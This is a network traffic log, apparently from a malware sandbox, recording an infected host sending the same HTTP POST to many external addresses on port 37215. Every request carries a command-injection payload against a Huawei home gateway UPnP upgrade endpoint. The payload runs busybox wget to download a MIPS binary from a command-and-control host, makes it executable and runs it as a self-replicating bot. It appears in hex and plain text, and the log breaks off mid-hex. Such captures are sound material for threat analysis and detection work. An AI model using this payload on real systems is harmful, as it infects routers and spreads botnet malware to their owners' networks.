Aug 17, 2024 01:01:52.582093954 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	38140	41.65.91.127	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582133055 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	39070	41.170.171.164	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582145929 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	54172	197.169.43.8	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582164049 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	50628	156.211.146.152	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582191944 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.13	45326	41.224.16.145	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582206964 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.13	34724	41.69.178.154	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582228899 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.13	34708	156.30.136.95	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582266092 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.13	55620	197.99.101.55	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582290888 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.13	34628	41.203.43.145	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582314968 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.13	52016	156.174.216.111	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582328081 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 